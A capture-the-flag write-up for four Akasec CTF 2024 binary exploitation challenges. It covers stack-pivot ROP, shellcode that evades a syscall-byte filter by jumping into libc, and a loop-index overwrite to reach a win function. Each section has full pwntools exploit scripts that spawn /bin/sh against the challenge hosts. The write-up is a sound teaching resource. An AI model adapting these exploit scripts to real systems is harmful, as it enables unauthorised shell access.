---
# System prepended metadata

title: Akasec CTF 2024
tags: [CTF time]

---

# Akasec CTF 2024 
# Warm up

### Overall
![image](https://hackmd.io/_uploads/H16ZhaHH0.png)

```cpp=
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[64]; // [rsp+0h] [rbp-40h] BYREF

  helper(argc, argv, envp);
  printf("%p\n", &puts);
  printf("name>> ");
  fgets(name, 512, stdin);
  printf("alright>> ");
  fgets(s, 88, stdin);
  puts("okey");
  return 0;
}
```

- No PIE
- No canaryfound
- Give me the address of puts -> leak libc

### Bug

```cpp=
char s[64];

fgets(s, 88, stdin);
```
- **BOF**

### Approach

**Target:** stack pivot + ROP  

- As you see, I only have 16 bytes to overwrite from retaddr. If I call system("/bin/sh"), I will need at least 3 quadwords : poprdi_ret, binsh and system.
- So I need to use stack pivot to do my ROP.
- The program disable PIE and name is global variable, so the address of this variable remains unchanged.
- It is a good idea to try to move stack pointer to this.

![image](https://hackmd.io/_uploads/S1YwgCHHC.png)

- ![image](https://hackmd.io/_uploads/ByYFgRBSA.png)

### Problem 
Normally, I try to use method poprdiret, binsh, system; however, it doesn't work here. I try to make rdi, rsi, rcx is zero; it still fails. I don't know exactly the reason for this.

- ![image](https://hackmd.io/_uploads/HyUoMRHBC.png)
- ![image](https://hackmd.io/_uploads/SkCy70rHC.png)

I used to be stuck and panic for this challenge in one moment. Fortunately, I try with syscall and it works.

### Script

```python=
#!/usr/bin/env python3
from pwn import *

context.log_level = 'debug'
context.binary = elf = ELF('./warmup_patched', checksec=False)

libc = elf.libc

gs = """
b *main
b *main+141
b *main+166
b *main+167
"""

def info(mes):
    return log.info(mes)

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    elif args.REMOTE:
        return remote('172.210.129.230', 1338)
    else:
        return process(elf.path)

io = start()
io.recvuntil(b'0x')
puts = int(b'0x' + io.recvn(12), 16)
libc.address = puts - libc.sym['puts']

info("puts @ " + hex(puts)) 
info("libc base @ " + hex(libc.address))

binsh = next(libc.search(b'/bin/sh\x00'))

syscall = libc.address + 0x00000000000288b5
poprax_ret = libc.address + 0x00000000000dd237
poprdi_ret = libc.address + 0x000000000010f75b
poprsi_ret = libc.address + 0x0000000000110a4d
poprsp_ret = 0x000000000040118e

getshell = p64(poprax_ret)
getshell += p64(0x3b)
getshell += p64(poprdi_ret)
getshell += p64(binsh)
getshell += p64(poprsi_ret)
getshell += p64(0)
getshell += p64(syscall)

payload = b'a'*72
payload += p64(poprsp_ret)
payload += p64(0x404060)
io.sendlineafter(b'name>> ', getshell)
io.sendlineafter(b'alright>> ', payload)


io.interactive()
```

# Good_trip
## Overall
![image](https://hackmd.io/_uploads/HJlEKkUrR.png)

***main***
```cpp=
int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v4; // [rsp+4h] [rbp-Ch] BYREF
  void *buf; // [rsp+8h] [rbp-8h]

  v4 = 0;
  init(argc, argv, envp);
  buf = mmap((void *)0x1337131369LL, 0x1000uLL, 7, 34, -1, 0LL);
  printf("code size >> ");
  __isoc99_scanf("%d", &v4);
  if ( v4 >= 0x1001 )
    return 0;
  printf("code >> ");
  read(0, buf, 0x999uLL);
  mprotect(buf, (int)v4, 5);
  if ( (unsigned __int8)filter(buf) )
  {
    puts("nop, not happening.");
    exit(-1);
  }
  exec(buf);
  return 0;
}
```

***filter***
```cpp=
__int64 __fastcall filter(__int64 a1)
{
  void *s1[3]; // [rsp+10h] [rbp-20h]
  int v3; // [rsp+28h] [rbp-8h]
  int v4; // [rsp+2Ch] [rbp-4h]

  v4 = -1;
  s1[0] = &unk_402010;
  s1[1] = &unk_402013;
  s1[2] = &unk_402016;
  while ( ++v4 <= 4093 )
  {
    v3 = -1;
    while ( ++v3 <= 2 )
    {
      if ( !memcmp(s1[v3], (const void *)(v4 + a1), 2uLL) )
        return 1LL;
    }
  }
  return 0LL;
}
```

![image](https://hackmd.io/_uploads/SJz_KkLBR.png)

- ***Banned bytes***
    - **0F 05:** syscall
    - **0f 34:** sysenter
    - **cd 80:** int 0x80
## Approach
**Target:** leak libc
- Because PIE enable, so I can use got table to leak libc
    - ![image](https://hackmd.io/_uploads/SkzS5JLr0.png)
        - in main
    - ![image](https://hackmd.io/_uploads/rJMN5J8HC.png)

### Script

```python=
#!/usr/bin/env python3
from pwn import *

context.log_level = 'debug'
context.binary = elf = ELF('./good_trip_patched', checksec=False)

#libc = ELF('./libc.so.6', checksec=False)
#libc = elf.libc

gs = """
b *main
b *0x0000000000401382
b *0x00000000004011a6
b *0x00000000004011e6
"""

def info(mes):
    return log.info(mes)

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    elif args.REMOTE:
        return remote('172.210.129.230', 1351)
    else:
        return process(elf.path)


shell = \
'''
xor rax, rax
mov al, 0x3b
lea rdi, [rip + binsh]
xor rsi, rsi
xor rdx, rdx
mov rbx, [0x403fc0]
add rbx, 15
jmp rbx
                
binsh:
    .asciz "/bin/sh"
                             
'''

shellcode = asm(shell, arch = 'amd64', os = 'linux')

io = start()
io.sendlineafter(b'code size >> ', str(len(shellcode)).encode())
io.sendlineafter(b'code >> ', shellcode)


io.interactive()
```



# Bad trip
## Overall
![image](https://hackmd.io/_uploads/BJbpm0HrC.png)


***main***
```cpp=
int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  code = mmap((void *)0x1337131369LL, 0x1000uLL, 7, 34, -1, 0LL);
  mmap((void *)0x6969696969LL, 0x21000uLL, 3, 34, -1, 0LL);
  printf("here ill give you something to start with %p\n", (const void *)(unsigned int)&puts);
  printf("code >> ");
  read(0, code, 0x999uLL);
  mprotect(code, 0x1000uLL, 5);
  filter();
  exec(code);
  return 0;
}
```

***filter()***

```cpp=
__int64 filter()
{
  int v1; // [rsp+8h] [rbp-28h]
  int v2; // [rsp+Ch] [rbp-24h]
  void *s1[4]; // [rsp+10h] [rbp-20h]

  s1[3] = (void *)__readfsqword(0x28u);
  v1 = -1;
  s1[0] = &unk_2020;
  s1[1] = &unk_2023;
  s1[2] = &unk_2026;
  while ( ++v1 <= 4094 )
  {
    v2 = -1;
    while ( ++v2 <= 2 )
    {
      if ( !memcmp(s1[v2], (char *)code + v1, 2uLL) )
      {
        puts("nop, not happening.");
        exit(-1);
      }
    }
  }
  return 0LL;
}
```

![image](https://hackmd.io/_uploads/SJRvEAHr0.png)

- ***Banned bytes***
    - **0F 05:** syscall
    - **0f 34:** sysenter
    - **cd 80:** int 0x80

***The program gives me 4 bytes at the end of address of puts in libc.***
***You input shellcode for program run it. However, filter() bans syscall, int 0x80 and sysenter.***

## Approach 1 

**Target:** libc

- ![image](https://hackmd.io/_uploads/HyqoI0BSA.png)
    - r13: contain the address of stack.
    - Thus, I can target this to get the libc.

- ![image](https://hackmd.io/_uploads/B1wtD0HSA.png)

### Script 

```python=
#!/usr/bin/env python3
from pwn import *

context.log_level = 'debug'
context.binary = elf = ELF('./bad_trip_patched', checksec=False)

libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-linux-x86-64.so.2", checksec=False)

gs = """
b *main
b *main+191 
b *main+216
b *main+241
b *exec+71
"""

def info(mes):
    return log.info(mes)

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    elif args.REMOTE:
        return remote('172.210.129.230', 1352)
    else:
        return process(elf.path)

io = start()
shell = \
'''
mov rax, r13
sub rax, 288
mov rbx, [rax]
add rbx, 0xdb85f

xor rax, rax
lea rdi, [rip + binsh]
xor rsi, rsi
xor rdx, rdx
mov al, 0x3b

jmp rbx

binsh:
    .asciz "/bin/sh"

'''
shellcode = asm(shell, arch = 'amd64', os = 'linux')
io.sendlineafter(b'code >> ', shellcode)


io.interactive()
```
## Approach 2

**Target:** libc
- Leak 4 bytes at the end of the address of puts.
    - **fs**: this refers to a special segment register in x86 and x86-64 architectures. Segment registers are used in conjunction with base addresses to locate memory locations. In this case, fs specifically points to a region called Thread-Local Storage (TLS).
    - Afterwards, + 4 bytes: I will have the address of libc.

### Script
 
```python=
#!/usr/bin/env python3
from pwn import *

context.log_level = 'debug'
context.binary = elf = ELF('./bad_trip_patched', checksec=False)

libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-linux-x86-64.so.2", checksec=False)

gs = """
b *main
b *main+191 
b *main+216
b *main+241
b *exec+71
"""

def info(mes):
    return log.info(mes)

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    elif args.REMOTE:
        return remote('172.210.129.230', 1352)
    else:
        return process(elf.path)

io = start()
io.recvuntil(b"with ")
leak = int(io.recvline().strip(),16)

info(f"leak {hex(leak)}")


shell = \
f'''
mov rbx, fs:0x0
mov rcx, 0xFFFFFFFF00000000
and rbx, rcx
mov eax, {hex(leak)}
or rbx, rax
add rbx, 0x8993f

xor rax, rax
lea rdi, [rip + binsh]
xor rsi, rsi
xor rdx, rdx
mov al, 0x3b

jmp rbx

binsh:
    .asciz "/bin/sh"

'''
shellcode = asm(shell, arch = 'amd64', os = 'linux')
io.sendlineafter(b'code >> ', shellcode)


io.interactive()
```
## Other approaches

### Leak libc depend on: ***xmm1***
### **excve** instead of syscall

# Yapping

## Overall

![image](https://hackmd.io/_uploads/ByOWtxUBA.png)

![image](https://hackmd.io/_uploads/S1xGKlLBR.png)

![image](https://hackmd.io/_uploads/HkwmKeUr0.png)

***main***
```cpp=
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[28]; // [rsp+0h] [rbp-20h] BYREF
  int v5; // [rsp+1Ch] [rbp-4h]

  v5 = 0;
  strcpy(v4, "hellooooooooo!\n");
  write_(1LL, v4, 15LL);
  vuln();
  return 0;
}
```
***vuln***
```cpp=
__int64 vuln()
{
  char v1[108]; // [rsp+0h] [rbp-70h] BYREF
  int i; // [rsp+6Ch] [rbp-4h]

  for ( i = 0; i <= 104; i += 8 )
    read_(0LL, &v1[i], 8LL);
  read_(0LL, &v1[i], 8LL);
  return write_(
           1LL,
           "\n"
           "\n"
           "                                                                                        _ \n"
           "     |_   _. _|_    o  _    |_  ._ _         _. ._  ._  o ._   _      _. |_   _     _|_  )\n"
           "\\/\\/ | | (_|  |_    | _>    |_) | (_)    \\/ (_| |_) |_) | | | (_|    (_| |_) (_) |_| |_ o \n"
           "                                         /      |   |          _|                         \n"
           "\n",
           367LL);
}
```


***win***
```cpp=
__int64 win()
{
  __int64 result; // rax
  int v1; // [rsp+8h] [rbp-78h]
  unsigned int v2; // [rsp+Ch] [rbp-74h]
  char v3[103]; // [rsp+10h] [rbp-70h] BYREF
  char var9[17]; // [rsp+77h] [rbp-9h] BYREF

  strcpy(var9, "flag.txt");
  if ( (unsigned int)check_user() )
    v2 = open_(var9, 0LL);
  if ( (unsigned int)check_user() )
    v1 = read_(v2, v3, 100LL);
  result = check_user();
  if ( (_DWORD)result )
    return write_(1LL, v3, v1);
  return result;
}
```

***check_user***
```cpp=
__int64 check_user()
{
  signed __int64 v0; // rax

  if ( user == 97
    && byte_404001 == 100
    && byte_404002 == 109
    && byte_404003 == 105
    && byte_404004 == 110
    && !byte_404005 )
  {
    return 1;
  }
  else
  {
    v0 = sys_exit(1);
    return 0;
  }
}
```
- ![image](https://hackmd.io/_uploads/Skok5gIH0.png)
- compare user with: **admin**

## Bug 
***Target:*** BOF

```cpp=
  char v1[108]; // [rsp+0h] [rbp-70h] BYREF
  int i; // [rsp+6Ch] [rbp-4h]

  for ( i = 0; i <= 104; i += 8 )
    read_(0LL, &v1[i], 8LL);
  read_(0LL, &v1[i], 8LL);
```
- This function stores index i for loop in stack.
- Write 8 bytes each input, but loop to 104 with the size of v1: 108. -> Overwrite i
- Afterwards, I have one more time to write 8 bytes to the offset from the address of v1 rely on i. -> Overwrite retaddr. 

## Approach

**Target**
- I need to call win function to get the flag; however, check_user function will check user variable to confirm the privilege.
    - write "admin" to user variable -> call win.

- However, I only one have gadget to overwrite the retaddr.
    - The program disable PIE
    - ![image](https://hackmd.io/_uploads/rJF-al8rC.png)
    - If I jump to `sub    rsp,0x70`, I will have more space in the stack can be overwrited, include rbp, retaddr....

- I notice that user variable only can be changed by trigger read to this address of it(this idea is possible because PIE disable -> the address of user variable remains unchanged). 
    - ![image](https://hackmd.io/_uploads/B1YL0e8BC.png)
    - control rbp -> trigger to write to specified address   

## Script

```python=
#!/usr/bin/env python3
from pwn import *

context.log_level = 'debug'
context.binary = elf = ELF('./challenge', checksec=False)


gs = \
"""
b *main
b *vuln+43
b *vuln+80
b *vuln+107
b *vuln+111
b *vuln+112
b *win
b *check_user
"""

def info(mes):
    return log.info(mes)

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    elif args.REMOTE:
        return remote('20.80.240.190', 14124)
    else:
        return process(elf.path)


def vuln():
    io.recvuntil(b'hellooooooooo!\n')
    #garbage data
    for i in range(13):
        io.send(b'a'*7 + b'\x00')
        
    #overwrite i
    io.send(b'a'*4 + p32(112))
    
    #overwrite retaddr
    io.send(p64(0x4011f4))
    
    # garbage data
    for i in range(10):
        io.send(b'b'*7 + b'\x00')  
    
    #overwrite rbp with the value the address of user variable + 0x70   
    io.send(p64(0x404070))
    
    #overwrite retaddr to write to user variable
    io.send(p64(0x40122e))
    
    #garbage data
    io.send(b'd'*8)
    
    #overwrite i to overwrite retaddr in the third return
    io.send(b'b'*4 + p32(208))
    
    #overwrite retaddr
    io.send(p64(elf.sym['win']))
    
    #write to user variable
    io.send(b'admin\x00\x00\x00')

        
io = start()
vuln()
io.interactive()
```